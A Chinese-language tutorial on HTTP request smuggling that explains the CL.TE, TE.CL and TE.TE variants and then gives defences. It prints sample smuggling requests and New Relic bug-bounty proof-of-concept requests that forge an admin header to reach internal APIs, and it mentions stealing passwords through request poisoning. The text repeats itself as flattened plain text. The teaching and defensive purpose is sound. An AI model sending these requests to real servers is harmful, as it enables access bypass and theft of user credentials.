挖洞经验 | HTTP请求夹带攻击技术(Request Smuggling )的具体原理和应用实例
字数 1550 2025-08-18 11:39:00

HTTP请求夹带攻击(Request Smuggling)技术详解

1. 概述

HTTP请求夹带攻击(Request Smuggling)是一种通过构造特殊结构的HTTP请求,干扰网站服务器对请求的处理,从而绕过安全控制、获取敏感数据的攻击技术。这种漏洞本质上非常危险,攻击者可以利用它来危及服务器应用的注册用户。

2. 历史背景

  • 最早于2005年被发现,但长期被忽视
  • PortSwigger安全主管James Kettle(@albinowax)重新发现并推广了该技术
  • 在Black Hat USA上分享了"HTTP Desync Attacks: Request Smuggling Reborn"
  • PortSwigger仅测试了约5%的众测网站就发现了漏洞,获得了$70k赏金

3. 产生原理

3.1 现代Web架构

现代Web应用通常采用多层架构:

  1. 前端服务器(负载均衡器/反向代理)
  2. 后端服务器(处理应用逻辑)

前端服务器通过相同的后端网络链路传输多个请求,以提高效率和性能。

3.2 关键问题

HTTP规范提供了两种指定请求结束位置的方式:

  1. Content-Length:以字节为单位指定消息体长度

    POST /search HTTP/1.1
    Host: normal-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11
    
    q=smuggling
    
  2. Transfer-Encoding:使用分块编码(Chunked Encode)

    POST /search HTTP/1.1
    Host: normal-website.com
    Content-Type: application/x-www-form-urlencoded
    Transfer-Encoding: chunked
    
    b
    q=smuggling
    0
    

当两种方法同时出现在一个请求中时,规范要求忽略Content-Length标头。但在多服务器环境中:

  • 某些服务器不支持Transfer-Encoding
  • 模糊构造的标头可能导致不同服务器解析不一致

4. 攻击类型

4.1 CL.TE漏洞

特征:前端使用Content-Length,后端使用Transfer-Encoding

攻击示例

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 6
Transfer-Encoding: chunked

0

SMUGGLED

解析过程

  1. 前端按Content-Length(6字节)处理,转发整个请求
  2. 后端按Transfer-Encoding处理,遇到0数据块终止
  3. "SMUGGLED"被当作下一个请求的开始

4.2 TE.CL漏洞

特征:前端使用Transfer-Encoding,后端使用Content-Length

攻击示例

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

解析过程

  1. 前端按Transfer-Encoding处理完整请求
  2. 后端按Content-Length(3字节)处理,只读取"8\r\n"
  3. 剩余部分被当作下一个请求

4.3 TE.TE漏洞

特征:前后端都支持Transfer-Encoding,但可通过模糊构造标头诱导不同解析

5. 实际案例分析

5.1 New Relic内部信息泄露

环境

  • 前端:Golang代理(使用Content-Length)
  • 后端:Nginx(使用Transfer-Encoding)
  • 类型:CL-TE漏洞

攻击步骤

  1. 构造特殊请求:

    POST / HTTP/1.1
    Host: login.newrelic.com
    Content-Length: 142
    Transfer-Encoding: chunked
    Transfer-Encoding: x
    
    POST /login HTTP/1.1
    Host: login.newrelic.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 100
    
    login[email]=asdf
    
  2. 前端按Content-Length处理,后端按Transfer-Encoding处理

  3. 获取包含敏感信息的响应:

    X-Forwarded-For: 81.139.39.150
    X-Forwarded-Proto: https
    X-TLS-Bits: 128
    X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
    X-TLS-Version: TLSv1.2
    x-nr-external-service: external
    
  4. 通过添加特定头(如Service-Gateway-Is-Newrelic-Admin)提升权限

5.2 New Relic登录密码窃取

原理:通过请求毒化,使受害者被重定向到恶意站点或注入keylogger

PoC关键代码

POST /login HTTP/1.1
Host: staging-login.newrelic.com
Content-Length: 564
Transfer-Encoding: chunked
Transfer-encoding: cow

POST /internal_api/934454/session HTTP/1.1
Host: alerts.newrelic.com
X-Forwarded-Proto: https
Service-Gateway-Account-Id: 934454
Service-Gateway-Is-Newrelic-Admin: true
Content-Length: 6

x=123GET...

6. 防御措施

  1. 前端服务器

    • 禁用后端连接重用
    • 使用HTTP/2终端到终端
    • 规范化模糊请求
  2. 后端服务器

    • 拒绝模糊请求
    • 确保相同连接上的所有请求使用相同编码
  3. 通用建议

    • 对所有流量进行严格验证
    • 在反向代理和服务器链中保持HTTP解析一致
    • 定期进行安全测试

7. 总结

HTTP请求夹带攻击是一种利用服务器间HTTP解析差异的高级攻击技术,能够绕过安全控制、窃取敏感信息甚至完全接管系统。防御的关键在于确保所有服务器组件对HTTP请求的解析保持一致,并对模糊请求进行严格处理。

HTTP请求夹带攻击(Request Smuggling)技术详解 1. 概述 HTTP请求夹带攻击(Request Smuggling)是一种通过构造特殊结构的HTTP请求,干扰网站服务器对请求的处理,从而绕过安全控制、获取敏感数据的攻击技术。这种漏洞本质上非常危险,攻击者可以利用它来危及服务器应用的注册用户。 2. 历史背景 最早于2005年被发现,但长期被忽视 PortSwigger安全主管James Kettle(@albinowax)重新发现并推广了该技术 在Black Hat USA上分享了"HTTP Desync Attacks: Request Smuggling Reborn" PortSwigger仅测试了约5%的众测网站就发现了漏洞,获得了$70k赏金 3. 产生原理 3.1 现代Web架构 现代Web应用通常采用多层架构: 前端服务器(负载均衡器/反向代理) 后端服务器(处理应用逻辑) 前端服务器通过相同的后端网络链路传输多个请求,以提高效率和性能。 3.2 关键问题 HTTP规范提供了两种指定请求结束位置的方式: Content-Length :以字节为单位指定消息体长度 Transfer-Encoding :使用分块编码(Chunked Encode) 当两种方法同时出现在一个请求中时,规范要求忽略Content-Length标头。但在多服务器环境中: 某些服务器不支持Transfer-Encoding 模糊构造的标头可能导致不同服务器解析不一致 4. 攻击类型 4.1 CL.TE漏洞 特征 :前端使用Content-Length,后端使用Transfer-Encoding 攻击示例 : 解析过程 : 前端按Content-Length(6字节)处理,转发整个请求 后端按Transfer-Encoding处理,遇到0数据块终止 "SMUGGLED"被当作下一个请求的开始 4.2 TE.CL漏洞 特征 :前端使用Transfer-Encoding,后端使用Content-Length 攻击示例 : 解析过程 : 前端按Transfer-Encoding处理完整请求 后端按Content-Length(3字节)处理,只读取"8\r\n" 剩余部分被当作下一个请求 4.3 TE.TE漏洞 特征 :前后端都支持Transfer-Encoding,但可通过模糊构造标头诱导不同解析 5. 实际案例分析 5.1 New Relic内部信息泄露 环境 : 前端:Golang代理(使用Content-Length) 后端:Nginx(使用Transfer-Encoding) 类型:CL-TE漏洞 攻击步骤 : 构造特殊请求: 前端按Content-Length处理,后端按Transfer-Encoding处理 获取包含敏感信息的响应: 通过添加特定头(如Service-Gateway-Is-Newrelic-Admin)提升权限 5.2 New Relic登录密码窃取 原理 :通过请求毒化,使受害者被重定向到恶意站点或注入keylogger PoC关键代码 : 6. 防御措施 前端服务器 : 禁用后端连接重用 使用HTTP/2终端到终端 规范化模糊请求 后端服务器 : 拒绝模糊请求 确保相同连接上的所有请求使用相同编码 通用建议 : 对所有流量进行严格验证 在反向代理和服务器链中保持HTTP解析一致 定期进行安全测试 7. 总结 HTTP请求夹带攻击是一种利用服务器间HTTP解析差异的高级攻击技术,能够绕过安全控制、窃取敏感信息甚至完全接管系统。防御的关键在于确保所有服务器组件对HTTP请求的解析保持一致,并对模糊请求进行严格处理。